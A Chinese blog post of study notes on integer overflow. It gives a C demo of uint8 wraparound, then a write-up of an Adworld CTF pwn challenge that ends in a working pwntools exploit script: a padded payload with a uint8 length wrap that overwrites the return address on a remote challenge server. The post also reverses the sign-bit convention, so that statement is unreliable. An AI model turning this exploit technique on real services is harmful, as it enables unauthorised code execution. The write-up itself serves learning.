欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

整数溢出学习记录

程序员文章站 2024-01-20 09:05:34
...

整数溢出原理:

整数分为有符号和无符号两种类型, 有符号数以最高位作为其符号位,即正整数
最高位为 1,负数为 0,无符号数取值范围为非负数,常见各类型占用字节数如
下:

整数溢出学习记录

 

 

C语言测试一下整数溢出

#include <stdio.h>

#include <stdint.h>

int main()

{

       uint8_t t1 = 1, t2 = 257;

       if (t1 == t2)

       {

              printf("Overflow");

       }

       return 0;

}

整数溢出学习记录整数溢出学习记录

运行:

整数溢出学习记录

溢出成功,可以得到结论:当一个数据超出它的最大数据类型的范围时,超出的部分不会被计算,只有规定的范围内的数据会被使用。所以257(0001 0000 0001)中只计算了后8位,即被视为1(0000 0001)

 

攻防世界CTF题目

整数溢出学习记录

 

整数溢出学习记录

无栈溢出保护

主函数:

整数溢出学习记录

逻辑很简单:

只有登录和退出,看一下登录

整数溢出学习记录

输入用户名密码,注意到check函数使用了密码。

整数溢出学习记录

很显然漏洞出在strcpy函数

同时搜索字符串注意到

整数溢出学习记录

整数溢出学习记录

 

 

我们只需要产生溢出,覆盖返回地址就可以了。

分析check函数发现,只有密码的长度在3<x<=8时,才可以“success”,并可以利用strcpy进行溢出。但溢出点dest的大小就达到了0x14(十进制20),已经不够长度的输入了。。。

 

所以要怎样满足这个所谓的  “3<密码长度<=8”  这个条件呢?

这里注意到v3的类型:

整数溢出学习记录

int8代表8bit,即0~255,正是上面C语言测试的类型。

可以考虑使用一下整数溢出:

 

from pwn import *
context.log_level = 'debug'
cn = remote('111.198.29.45',48928)
cn.recvuntil("Your choice:")
cn.sendline('1')
cn.recvuntil("username:")
cn.sendline('zzZ')

payload = 'a'*0x14 + 'a'*4 + p32(0x804868B) + 'a' * 233

cn.recvuntil("passwd:")
cn.sendline(payload)
cn.interactive()

 

整数溢出学习记录

溢出成功,得到flag。

上一篇: pwn学习-canary

下一篇: 整数溢出